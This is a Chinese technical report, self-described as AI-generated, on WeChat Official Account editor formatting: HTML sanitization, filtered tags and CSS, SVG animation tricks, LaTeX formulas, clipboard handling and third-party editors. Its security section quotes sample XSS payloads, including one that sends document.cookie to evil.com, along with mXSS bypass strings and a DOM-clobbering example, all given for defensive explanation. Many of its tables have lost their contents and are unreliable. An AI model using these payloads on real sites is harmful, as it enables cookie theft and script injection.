AI slop一则:若是要在公众号编辑器里玩HTML/CSS排版的花活……

Saber & Ayaka
微信公众号编辑器技术实现深度研究报告
研究日期:2026 年 6 月研究方法:多轮联网检索 + 交叉验证多个社区来源(博客园、GitHub、知乎、微信开放社区、技术博客、官方文档)涵盖范围:HTML sanitization 安全模型、微信特殊过滤规则、SVG 交互原理、LaTeX 公式方案、剪贴板机制、第三方编辑器生态、CSS 兼容性参考、自建编辑器指南
目录
-
1. HTML Sanitization:富文本安全的基石 -
2. 微信公众号编辑器的过滤机制 -
• 2.5 字体切换的原理:系统字体栈 -
3. SVG”黑科技”:交互如何逃过过滤 -
4. LaTeX 公式在微信公众号上的实现 -
5. 剪贴板机制与第三方编辑器架构 -
6. 第三方编辑器生态全景 -
7. 微信 HTML/CSS 支持参考手册 -
8. 自建微信兼容编辑器的路线图
1. HTML Sanitization:富文本安全的基石
1.1 为什么需要 Sanitization
不加过滤地接受用户 HTML 并渲染,至少面临以下攻击面:
|
|
|
|
| 存储型 XSS | <img src=x onerror=fetch('https://evil.com/?c='+document.cookie)> |
|
| DOM 型 XSS | <a href="javascript:void(document.location='...')">
|
|
| CSS 注入 | <div style="background:url('https://evil.com/log')"> |
|
| 点击劫持 | <iframe>
|
|
| 表单劫持 |
<form> / <input> |
|
| 布局破坏 | position:fixed
|
|
2019 年微信公众号就曾曝出真实 XSS 漏洞:文章标题中的 HTML 标签未转义,留言页面可执行 <script> 代码——典型的存储型 XSS。
1.2 通用 Sanitization 策略
成熟的富文本编辑器(WordPress、TinyMCE 等)采用多道防线:
用户输入 ↓【① 标签白名单】→ 只允许 p, h1-h6, a, img, ul, ol, li, strong, em, blockquote, table 等 ↓【② 属性白名单】→ a 只保留 href/title, img 只保留 src/alt/width/height ↓【③ URL 协议过滤】→ href/src 只允许 http/https/mailto,禁止 javascript:/data: 伪协议 ↓【④ CSS 内联样式过滤】→ 过滤 expression()、behavior、-moz-binding 等危险值 ↓【⑤ 输出转义】→ `<` `>` `"` `'` `&` 在正确的上下文中转义 ↓【⑥ CSP 头】→ Content-Security-Policy 限制脚本来源作为兜底防线
核心设计哲学:白名单优先——默认拒绝一切,只放行已知安全的标签和属性。黑名单枚举永远不完备。
1.3 主流 Sanitizer 对比(2026 年)
|
|
sanitize-html | DOMPurify | js-xss |
|
|
|
|
|
|
|
|
|
|
|
|
|
DOM 解析
|
|
|
|
allowedStyles 支持正则验证 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
IOptions 完整类型) |
|
|
1.4 mXSS:绕过 Sanitizer 的头号杀手
mutation XSS(mXSS) 不依赖注入已知恶意模式,而是利用 HTML 的容错性——浏览器会自动修复破损标记,使一个在 sanitizer 中看似无害的载荷,在渲染时发生”突变”成为可执行代码。
mXSS 的四个子类别(SonarSource, 2024):
|
|
|
|
| 解析器差异 |
|
<noscript><style></noscript><img src=x onerror=alert(1)>
<noscript> 内容被当作 raw text;浏览器 JS 启用,构造提前闭合 |
| 解析往返 |
|
<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>
<form> 不可嵌套 + MathML 命名空间混淆绕过 DOMPurify 2.0.17 |
| 去消毒化 |
|
<svg> 重命名为 <custom-svg> → 命名空间改变 → 被清理的内容重新可执行 |
| 上下文依赖 |
|
<svg> 内,解析规则变化 |
已确认的绕过案例:
-
• CVE-2024-47875:DOMPurify 嵌套 mXSS -
• CVE-2023-33726:Joplin 笔记应用 → 远程命令执行 -
• CVE-2023-44390:HtmlSanitizer (.NET) 绕过 -
• CVE-2023-38500:Typo3 HTML sanitizer 绕过 -
• OWASP java-html-sanitizer、Google Search 历史绕过
1.5 DOM Clobbering:为 XSS 铺路的隐蔽攻击
当 HTML 中存在 id 或 name 属性与浏览器全局变量同名的元素时,浏览器会创建一个指向该 DOM 元素的全局引用,覆盖原有的 API。例如:
<aid="location"href="javascript:doBadThings()">click</a>
若应用代码中有 location.assign(document.location),此处的 document.location 不再指向 Location API,而是指向这个 <a> 元素(其 toString() 返回 href 值)→ 攻击者借此执行任意 JS。
DOMPurify 默认防御:检测 id/name 是否与内置 API 冲突,冲突则删除。
1.6 关键架构决策:客户端消毒 vs 服务端消毒
安全界共识(SonarSource、DOMPurify 社区):
服务端 sanitizer 注定存在解析器差异风险。HTML 解析极其复杂,内容最终会被不同浏览器引擎(Blink vs WebKit vs Gecko)渲染——不可能在服务端完全避免解析差异。
推荐的生产架构:
用户输入 ↓服务端:sanitize-html 预过滤(第一道防线) ↓存储到数据库 ↓客户端渲染前:DOMPurify.sanitize() 最终消毒 ↓浏览器渲染 ↓CSP 头:default-src 'self'; script-src 'self'; object-src 'none'(兜底防线)
SSR 特别警告:isomorphic-dompurify 在服务端引入 jsdom HTML 解析器,重新制造了解析器差异。对用户控制的 HTML,应禁用 SSR,将消毒和渲染推迟到客户端。
1.7 TinyMCE 的双重策略:消毒 + 验证
作为企业级编辑器,TinyMCE 的实现值得参考:
-
1. HTML Sanitization:集成 DOMPurify,过滤 XSS/mXSS/DOM Clobbering 向量 -
2. HTML Validation:内置 schema 引擎,按 HTML5 / HTML 4.01 标准验证并修正标记结构( <h1>text</h2>→<h1>text</h1>) -
3. 可配置规则: valid_elements、extended_valid_elements、invalid_elements、invalid_styles等选项
两者的区别:Validation 检查”标记是否符合标准”,Sanitization 检查”标记是否包含恶意代码”。两者互补。
2. 微信公众号编辑器的过滤机制
2.1 微信的三重过滤目标
微信的 HTML 过滤比纯安全过滤更激进,同时服务于三个目标:
-
1. 安全:防止 XSS、数据外泄 -
2. 一致性:保证文章在 iOS/Android/桌面端显示一致 -
3. 可控性:防止第三方通过富文本干涉微信客户端的渲染引擎
2.2 已探测出的 HTML 标签规则
|
|
|
|
|
p
div, span, section, h1–h6, a, img, ul/ol/li, blockquote, strong/b, em/i, br, table/tr/td/th, svg 及其全部子元素, pre, code, sub, sup |
|
|
<mpvoice>
<mpvideo>(视频) |
|
|
<script>
<style>, <iframe>, <form>, <input>, <embed>, <object>, <link>, <audio>, <video> |
2.3 已探测出的 CSS 规则
详细的 CSS 兼容性表见第 7 节。此处总结关键的分层结论:
第一层:确认可用(稳定)color, background-color, font-size, font-weight, font-style, margin, padding(推荐 px), border, border-radius, text-align, line-height, letter-spacing, text-decoration, opacity, display, box-shadow, overflow, pointer-events
第二层:有条件可用
-
• transform(HTML 元素上):曾被全部过滤,近期简单 transform 可能生效,但不保证 -
• transform(SVG 属性如<g transform="...">):始终可用 -
• z-index:父级需要display: flex才能生效 -
• linear-gradient:技术上可保留但旧设备兼容性存疑 -
• %单位:margin-transform: translateY( -100%和transform: translateY(-100%)等场景失效
第三层:完全不可用
-
• position: absolute/fixed/relative— 代码被整行删除 -
• id属性 — 所有元素(包括 SVG 内)被删除 -
• animation,transition,@keyframes,@media— 无<style>标签无法承载 -
• :hover,:active,::before,::after— 无选择器机制
2.4 额外怪癖(平台特有行为)
|
|
|
|
|
|
|
\u00A0(non-breaking space)替代普通空格 |
|
|
<pre>
\n 可能不换行 |
<br> |
<input type="checkbox">
|
|
☑/☐ 替代 |
<image> 需要显式尺寸 |
|
width="..." height="..." |
|
|
|
|
|
|
|
|
|
|
|
|
2.5 字体切换的原理:系统字体栈
多个微信排版工具(如 doocs/md 的部署版 md.openwrite.cn、WeMD、花生编辑器等)宣称支持 sans-serif / serif / monospace 字体切换,实测确认字形确实在公众号文章中能渲染出来。其技术原理是系统字体栈(System Font Stack),不依赖任何 webfont。
为什么微信放行 font-family
font-family 是一个纯声明式的 CSS 属性——它只是告诉浏览器”去设备上找这些字体,按优先级使用”。它不触发网络请求、不执行代码、不引入外部资源。微信 sanitizer 没有任何安全或一致性理由去过滤它。
系统字体栈的工作机制
泛型字体族(generic family) 是 CSS 规范内置的关键词,每个浏览器都将其映射到设备上实际存在的字体:
|
|
|
|
|
sans-serif |
|
|
|
serif |
|
|
|
monospace |
|
|
|
编辑器实际使用的字体栈
这些工具并非只写 font-family: sans-serif,而是构造了覆盖各平台的完整 fallback 链。以微信广告设计团队(wxad.design)的实践为例:
无衬线(sans-serif)栈——对应工具中的”默认/无衬线”模式:
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto,"Helvetica Neue", Helvetica, Arial,"PingFang SC", "Hiragino Sans GB","Microsoft YaHei UI", "Microsoft YaHei", "Source Han Sans CN", sans-serif;
各层含义:
-
• -apple-system,BlinkMacSystemFont:iOS/macOS 专有,自动映射到 San Francisco(西文)+ 苹方(中文) -
• "Segoe UI":Windows 系统 UI 字体 -
• Roboto:Android 系统字体 -
• "PingFang SC","Hiragino Sans GB":macOS 中文无衬线体 -
• "Microsoft YaHei UI","Microsoft YaHei":Windows 中文无衬线体 -
• "Source Han Sans CN"(思源黑体):Android 中文 -
• sans-serif:最终 fallback——浏览器用自身的泛型族映射兜底
衬线(serif)栈——对应”衬线”模式:
font-family: "Songti SC", "Noto Serif CJK SC", "SimSun","Times New Roman", Georgia, serif;
等宽(monospace)栈——对应”等宽/代码”模式:
font-family: "SF Mono", "Menlo", "Consolas", "Courier New", monospace;
关键洞察
-
1. 不需要 webfont:所有引用的字体都是操作系统预装的。 font-family不触发任何下载,只是告诉浏览器按优先级去设备上找 -
2. 平台自适应:同一个 font-family声明在不同设备上自动渲染为不同的实际字体——这是 CSS 规范的设计意图,而非 bug -
3. 泛型族是最终兜底:即使前面列出的所有具名字体都不存在(极端情况), sans-serif/serif/monospace这三个泛型族关键词会确保至少有一个合理的字体被使用 -
4. 微信 sanitizer 的立场: font-family引用的是本地字体——纯声明式、零网络请求、零代码执行——不存在安全风险,也没有破坏跨设备一致性的问题(因为系统字体本身就是各平台的原生体验)
与 webfont 的对比
|
|
@font-face) |
|
|
|
|
|
|
|
|
@font-face 在 <style> 内被过滤) |
|
|
|
|
|
|
|
|
|
|
|
|
这也是为什么 doocs/md、WeMD 等工具能提供字体切换功能——它们做的只是切换 font-family 内联样式的值,在 serif/sans-serif/monospace 三套系统字体栈之间选择一个写入 HTML,然后交由微信透传、设备渲染。
3. SVG”黑科技”:交互如何逃过过滤
3.1 为什么是 SVG
微信的核心限制——不能写 JS、不能写 <style> 标签——使得常规的交互动效完全不可行。但 SVG 在微信的 sanitizer 中是一个被整体放行的命名空间——微信选择不对 SVG 内部做深度解析。这为声明式动画提供了完整的舞台。
SVG 内部可以包含:
-
• <animate>/<animateTransform>:声明式动画,通过begin="click"/begin="touchstart"触发,不需要 JS -
• <foreignObject>:嵌入 HTML 片段(包括嵌套<svg>),在微信中实测可用 -
• <set>:修改属性值 -
• <animateMotion>:路径动画
3.2 “点击展开长图文”的核心原理
<sectionstyle="overflow: hidden;"><!-- 展开后的内容:height:0 隐藏 --><sectionstyle="text-align: center; height: 0; line-height: 0;"><!-- 长图文放在这里 --></section><!-- 外层 SVG 做展开动画 --><sectionstyle="transform: rotateZ(0deg); pointer-events: none;"><svgviewBox="0 0 750 1295"style="pointer-events: none;"><!-- 点击触发 width 变化,利用 overflow:hidden 撑开父容器 --><animateattributeName="width"fill="freeze"restart="never"keyTimes="0;.2;1"values="100%;0%;500%"dur="6s"begin="click"></animate><g><foreignObjectx="0"width="100%"height="100%"><!-- 封面图作为内层 SVG --><svgviewBox="0 0 750 1295"style="pointer-events: auto;"><!-- 封面内容 --></svg></foreignObject></g></svg></section></section>
执行流程:
-
1. 展开内容用 height:0隐藏 -
2. SVG <animate>通过begin="click"监听点击(SVG 规范原生支持,不依赖 JS) -
3. 动画将 width从 0% 变为一个很大的值,利用overflow:hidden撑开展示隐藏内容 -
4. pointer-events: none控制交互穿透,restart="never"确保只播放一次
3.3 SVG 交互技术全景
|
|
|
|
| 点击展开长图文 | <animate>
|
begin="click"
fill="freeze" |
| 左右滑动 | overflow-x: scroll
scroll-snap-type |
dir="rtl"
|
| 翻页效果 | <animateTransform>
scale(-1) |
type="translate" |
| 随机抽签/扭蛋 | touchstart
touchend + calcMode="discrete" |
|
| GIF 单次循环 |
<image> 内 |
|
| 点击播放音频 | <foreignObject>
<mpvoice> |
|
| 双次点击 |
begin="touchstart" + 第二个 begin="click" |
|
| Dark Mode 适配 |
currentColor + 颜色继承 |
<embed> 包裹破坏(见第 4 节) |
3.4 为什么 SVG 未被过滤
可能的理由:
-
1. SVG 声明式动画是 W3C 规范的一部分,微信客户端(基于 WebView)天然支持,不算”漏洞” -
2. 微信的 sanitizer 可能只对 HTML 命名空间做深度解析,对 SVG 采用宽松放行策略 -
3. 从产品角度,SVG 交互提升了文章质量,微信选择容忍而非封堵 -
4. 没有 JS 执行能力,SVG 动画无法发起网络请求或读写 DOM——安全风险可控
3.5 关键限制与注意事项
|
|
|
<svg> |
<foreignObject> 变通 |
<image href="..."> 必须用素材库链接 |
|
transform-origin
<g style="..."> 中失效 |
<g transform="..."> |
restart="never"
|
|
transform 导致层级混乱 |
|
float |
|
4. LaTeX 公式在微信公众号上的实现
4.1 历史方法演进
|
|
|
|
| 截图插入图片 |
|
|
| 知乎复制 |
|
<img>,难控制字号,不支持 Dark Mode |
| WordPress QuickLaTeX |
|
|
| Markdown Nice |
|
|
| mpMath 插件 |
|
|
4.2 mpMath 的完整架构
mpMath 是 Troy Ni 和 CPunisher 在 2020 年开发的 Chrome 扩展,其架构如下:
┌─────────────────────────────────────────────────┐│ mpMath Chrome Extension (MV2) ││ ││ Content Script(注入 mp.weixin.qq.com): ││ ├── 在微信编辑器顶部注入"公式"按钮 ││ ├── 用户点击 → 弹出 LaTeX 编辑 modal ││ ├── MathJax 3.x 实时渲染预览(SVG 输出模式) ││ ├── 确认后:MathJax → 内联 SVG 字符串 ││ └── 通过 DOM API 插入 contenteditable 区域 ││ ││ 绕过策略: ││ ✓ MathJax 输出格式设为 SVG(非 HTML-CSS) ││ ✓ SVG 内联(非外部引用) ││ ✓ 无 <script> / 事件处理器 ││ ✓ 利用扩展权限直接操作编辑器 DOM ││ ✓ 微信 sanitizer 放行标准 SVG 标签 │└─────────────────────────────────────────────────┘
为什么选择 MathJax SVG 而非 HTML-CSS 输出:
-
1. HTML-CSS 依赖 <span>+ CSS class → 微信过滤<style>后样式全部丢失 -
2. SVG 是自包含的矢量图形 → 过滤后仍完整保留 -
3. SVG 支持 currentColor→ 理论上可跟随 Dark Mode(但被微信的<embed>包裹破坏)
4.3 微信对公式 SVG 的”二次伤害”
这是所有公式方案共同面临的核心痛点:
MathJax 渲染 → 内联 SVG 字符串 ↓ 复制/粘贴到微信编辑器微信编辑器 paste handler ↓ sanitizer 放行 SVG ↓ 检测到 SVG 内容或视为"外部资源" ↓ **将整个 SVG 包裹在 <embed> 标签中** ↓ <embed src="..." /> → 上传到微信图床 (mmbiz.qpic.cn) ↓ **SVG 变为独立的嵌入文档**
后果:
-
• currentColor继承断裂:SVG 在独立文档上下文中 → 无法从父页面继承color→ Dark Mode 下公式颜色不自动切换 -
• 字号控制困难: <embed>尺寸由微信客户端决定,CSS 无法穿透 -
• 二次编辑极易丢失:对 <embed>区域的任何操作都可能导致公式消失
Cigaret 的 bookmarklet 方案(GitHub):一键去除微信包裹的 <embed> 标签,恢复 SVG 内联。但仅在发布前的编辑阶段有效——微信服务器端保存时可能重新包裹。
4.4 当前可用方案
|
|
|
|
|
| Markdown Nice |
|
|
|
| mpMath |
|
|
|
| mpMath 社区后继
|
|
|
|
| 手动 TeX→SVG |
|
|
|
| doocs/md 内置 KaTeX |
|
|
|
4.5 根本矛盾
微信的三层限制环环相扣:
-
1. 编辑器层:过滤 <style>、JS、外部资源 -
2. 保存层:将 SVG 包裹为 <embed>并上传到图床 -
3. 客户端渲染层: <embed>内的 SVG 失去 CSS 继承、currentColor断裂
mpMath 通过 Chrome 扩展绕过了第一层(扩展有权操作编辑器 DOM),但无法绕过第二层和第三层(服务器端和客户端逻辑,扩展不可干预)。
唯一完美的解决路径:微信官方在编辑器中内置 MathJax/KaTeX(像知乎、语雀那样),或为公式 SVG 提供”保留内联”的特殊处理通道。
5. 剪贴板机制与第三方编辑器架构
5.1 为什么普通复制会丢失样式
从网页 Ctrl+A → Ctrl+C → Ctrl+V 到微信编辑器时:
-
1. 网页样式在 <style>标签或外部 CSS 文件中 → 微信过滤<style>标签 → 样式全部丢失 -
2. 网页类名(class)和 ID → 微信删除所有 ID → CSS 选择器匹配失败 -
3. 网页的 position/transform/animation→ 微信过滤这些属性 -
4. 空白符处理 → 微信有特殊合并行为
5.2 CSS 内联化:核心解决方案
CSS Inlining 是将 <style> 中的规则展开为每个元素 style="" 属性的过程:
<!-- 原始(样式在 <style> 中,会被微信过滤) --><style>h1 { color: blue; font-size: 24px; }</style><h1>标题</h1><!-- 内联化后(样式在元素上,微信无法过滤) --><h1style="color: blue; font-size: 24px;">标题</h1>
标准工具是 juice(由 WordPress 母公司 Automattic 维护):
import juice from'juice'const result = juice.inlineContent(html, css)
5.3 剪贴板的多格式存储机制
剪贴板不是只存一份数据,而是同时存储同一内容的多个表示(representations):
|
|
|
|
text/plain |
这是**粗体**文字 |
|
text/html |
<p>这是<strong>粗体</strong>文字</p> |
|
image/png |
|
|
Windows 底层通过 CF_HTML 剪贴板格式存储 HTML,包含完整的 HTML 上下文和片段偏移量(StartHTML/EndHTML/StartFragment/EndFragment 头信息)。
当用户在微信编辑器 Ctrl+V,微信的 contenteditable 编辑器读取剪贴板的 text/html 表示,解析 DOM,经内部 sanitizer 过滤后渲染。
5.4 第三方编辑器写入剪贴板的关键代码
// 来自 bm.md 开源项目的实际实现asyncfunctioncopyForWechat(html, themeCss) {// 1. CSS 内联化const inlined = juice.inlineContent(html, themeCss)// 2. 构造 Blob(text/html MIME 类型)const blob = newBlob([inlined], { type: 'text/html' })// 3. 使用 Async Clipboard API 写入await navigator.clipboard.write([newClipboardItem({ 'text/html': blob }) ])}
秀米 Chrome 扩展的额外价值:官方说明明确指出它能”解决一些用复制粘贴会引起的格式丢失问题(例如特定的一些 SVG 功能)”——浏览器扩展拥有更高权限,可以通过 execCommand("copy") 触发 isTrusted: true 的复制事件,从而写入任意 MIME 类型(不仅是 text/html)。
5.5 完整数据流
第三方编辑器(如秀米/doocs/md) │ ├── Markdown → unified 处理管道 → HTML ├── CSS 内联化(juice) ├── 微信适配层(空格→\u00A0, \n→<br>, 复选框→☑/☐, 链接→脚注) │ ↓ navigator.clipboard.write([ClipboardItem('text/html', blob)]) │Windows 系统剪贴板 ├── CF_TEXT(纯文本) ├── CF_HTML(HTML + 上下文头信息) └── 其他格式 │ ↓ 用户 Ctrl+V │微信公众号编辑器 (mp.weixin.qq.com) ├── contenteditable → paste handler ├── 读取 text/html → 解析 DOM ├── 微信 Sanitizer(见第 2 节) └── 渲染
5.6 Windows PowerToys 高级剪贴板(Win+V / Win+Shift+V)
PowerToys Advanced Paste 的功能基于 Windows 剪贴板的多格式存储:
|
|
|
| 存储 HTML + 纯文本 |
|
| 粘贴为纯文本 |
CF_TEXT / text/plain 表示,丢弃 CF_HTML |
| 粘贴为 Markdown |
CF_HTML,用本地转换器 HTML→Markdown |
| 粘贴为 JSON |
|
| 贴图为 PNG 文件 |
CF_BITMAP → 转换 PNG → 以文件形式粘贴 |
| AI 模式 |
|
| OCR |
|
关键点:Windows 剪贴板本身就是一个多格式存储系统。PowerToys 的历史功能是将每次快照序列化到磁盘,粘贴时根据用户选择的格式读取对应的表示。
6. 第三方编辑器生态全景
6.1 商业编辑器(老牌)
|
|
|
|
| 秀米 XIUMI |
|
|
| 135 编辑器 |
|
|
| 壹伴 |
|
|
| E2 编辑器 |
|
|
6.2 开源 Markdown→微信 编辑器
头部项目(千星级别)
① doocs/md — 12.9k ⭐,WTFPL 协议
|
|
|
|
|
md.doocs.org |
|
|
|
|
|
|
|
|
|
|
|
|
② tenngoxars/WeMD — 837 ⭐,MIT 协议
|
|
|
|
|
edit.wemd.app |
|
|
|
|
|
微信深色模式预览算法
wechatjs/mp-darkmode)、Mermaid、滑动图组、可视化主题设计器 |
|
|
|
|
|
|
③ alchaincyf/huasheng_editor — 645 ⭐,MIT 协议
|
|
|
|
|
editor.huasheng.ai |
|
|
|
|
|
|
|
|
|
④ xiaohuailabs/xiaohu-wechat-format — 633 ⭐,MIT 协议
|
|
|
|
|
Claude Code Skill
|
|
|
|
|
|
:::dialogue:::gallery:::byline 等容器语法;AI 语义增强;中文标点自动修复 |
|
|
|
中小型项目
|
|
|
|
|
| iamzifei/wechat-article-formatter-skill |
|
|
|
| yuejiangli/wechat-publisher |
|
|
|
| saltedfish964/wechat-markdown-editor |
|
|
|
| Tinywan/wechat-format |
|
|
|
在线工具型
|
|
|
|
| MarkCopy |
|
|
| MeTool |
|
|
| MiniMax 编辑器 |
|
|
| md2wechat |
|
|
6.3 技术栈对比
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
7. 微信 HTML/CSS 支持参考手册
以下清单整合了 Axton Liu(2025-03)、haqiao 博客园、VerySmallWoods、PingCode 等多个来源的交叉验证结果。标记为 ⚠️ 的项目在不同微信版本或不同设备上行为可能不一致。
7.1 HTML 标签
|
|
|
|
p
div, span, section |
|
|
h1
h6 |
|
|
strong
b, em, i, u, s, del, ins |
|
|
sup
sub |
|
|
ul
ol, li |
|
|
a |
|
|
img |
|
|
table
thead, tbody, tr, th, td |
|
|
blockquote |
|
|
pre
code |
|
<br> 替代 \n |
br |
|
|
svg
|
|
整体放行
|
mpvoice
mpvideo |
|
|
script
style |
|
|
iframe
embed, object |
|
|
form
input, button, select, textarea |
|
|
link |
|
|
audio
video |
|
|
id
|
|
|
class
|
|
<style> 无法使用) |
7.2 CSS 属性——确认可用
文本与字体
|
|
|
|
color |
|
|
font-size |
|
|
font-weight |
|
|
font-style |
|
|
font-family |
|
系统字体栈可行
sans-serif/serif/monospace 等泛型族 + 各平台具名字体构成完整 fallback 链(详见 §2.5)。不可用 @font-face 加载 webfont |
text-align |
|
|
text-decoration |
|
|
text-indent |
|
|
letter-spacing |
|
|
word-break |
|
|
line-height |
|
|
盒模型与布局
|
|
|
|
margin
|
|
|
padding
|
|
|
border
border-radius |
|
|
box-shadow |
|
|
display |
|
|
vertical-align |
|
|
overflow
overflow-x / overflow-y |
|
|
scroll-snap-type |
|
x mandatory |
scroll-snap-align |
|
start |
float |
|
|
视觉
|
|
|
|
background-color |
|
|
background
background-image |
|
linear-gradient(...)
|
opacity |
|
|
pointer-events |
|
none
|
user-select |
|
none
|
7.3 CSS 属性——确认被过滤或失效
|
|
|
|
position: absolute/fixed/relative |
代码被整行删除 |
|
transform
|
|
|
animation
transition |
|
<animate> |
z-index
|
|
display: flex |
%
|
margin-transform: translateY( -100%
translateY(-100%) 失效 |
|
:hover
:active, :focus |
|
|
::before
::after |
|
|
@media |
<style> 标签 |
|
@keyframes |
<style> 标签 |
<animate> |
@font-face |
|
|
7.4 单位支持
|
|
|
px |
|
em
rem |
|
vw
vh |
|
% |
margin-top: -100% 和 transform: translateY(-100%) 等场景失效 |
7.5 SVG 内特殊规则
|
|
|
<image href="..."> |
必须使用微信素材库链接
|
<image> 需要 width/height |
|
<g style="transform-origin:..."> |
|
<g transform="...">
|
|
restart="never" |
|
<foreignObject> |
|
7.6 图片与 GIF 限制
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
8. 自建微信兼容编辑器的路线图
8.1 挑战评估
|
|
|
|
|
|
|
|
|
|
|
juice
|
|
|
|
|
|
|
高 |
|
8.2 推荐架构
用户编辑 Markdown(或 WYSIWYG) ↓unified 生态:remark-parse → remark-gfm → remark-math → remark-rehype → rehype-highlight → rehype-stringify ↓CSS 内联化:juice.inlineContent(html, themeCss) ↓微信适配层: ├── 空格替换(\u0020 → \u00A0) ├── 换行替换(\n → <br>) ├── 复选框替换(<input type="checkbox"> → ☑/☐) ├── 外部链接转脚注 ├── <ul>/<ol> → <section> + flexbox(微信会破坏原生列表) └── SVG attribute 修正 ↓Clipboard API 写入 text/html → 用户 Ctrl+V → 微信编辑器
8.3 核心依赖
pnpm add unified remark-parse remark-gfm remark-rehypepnpm add rehype-stringify rehype-highlightpnpm add remark-math rehype-katex # 数学公式pnpm add juice # CSS 内联化pnpm add rehype-sanitize # XSS 防护
8.4 替代方案:微信白名单限定网页 + 手动复制
比从头写编辑器更简单。核心思路:
-
1. 梳理微信白名单(参考第 7 节) -
2. 写一个 HTML 页面,严格使用白名单标签和内联样式 -
3. 不用 <style>标签——所有样式写在style=""属性中 -
4. 浏览器打开 → 全选 Ctrl+A→ 复制Ctrl+C -
5. 微信编辑器 Ctrl+V粘贴
如需交互(点击展开等),使用 SVG + <animate>。
针对高级 CSS 的退路:
-
• repeating-linear-gradient等 → 若被过滤,用 SVG<pattern>+<linearGradient>替代,或降级为纯色 -
• 自定义字体 → 无解,用图片替代或接受系统字体
8.5 现已开源的项目参考
如果想基于现有项目改造而非从零开始:
-
• doocs/md(Vue 3)或 WeMD(React 18)提供最完整的微信适配实现 -
• 花生编辑器(Vue 3 纯前端单文件)最容易 fork 和定制 -
• xiaohu-wechat-format(Python CLI)适合集成到自动化管线
附录:关键参考来源
-
1. VerySmallWoods – 公众号排版工具如何实现样式的复制粘贴(2026-01) -
2. haqiao – 微信公众号 CSS 布局和 SVG 推文的一些坑(2020-08,持续更新) -
3. Axton Liu – 微信公众号图文的 HTML/CSS 支持概览(2025-03) -
4. Latent Cat – 如何在公众号中插入公式(2020-02) -
5. SonarSource – mXSS: The Vulnerability Hiding in Your Code(2024-05) -
6. PkgPulse – sanitize-html vs DOMPurify vs xss 2026(2026-03) -
7. TinyMCE – User input sanitization and validation(2023-07) -
8. Alex Harri – The web’s clipboard, and how it stores data of different types(2024-09) -
9. Microsoft – HTML Clipboard Format (CF_HTML) -
10. Microsoft – PowerToys Advanced Paste -
11. PingCode – 在微信公众号的图文里面可以实现哪些代码 -
12. GitHub: doocs/md | tenngoxars/WeMD | alchaincyf/huasheng_editor | xiaohuailabs/xiaohu-wechat-format -
13. GitHub: latentcat/mpmath | cure53/DOMPurify
夜雨聆风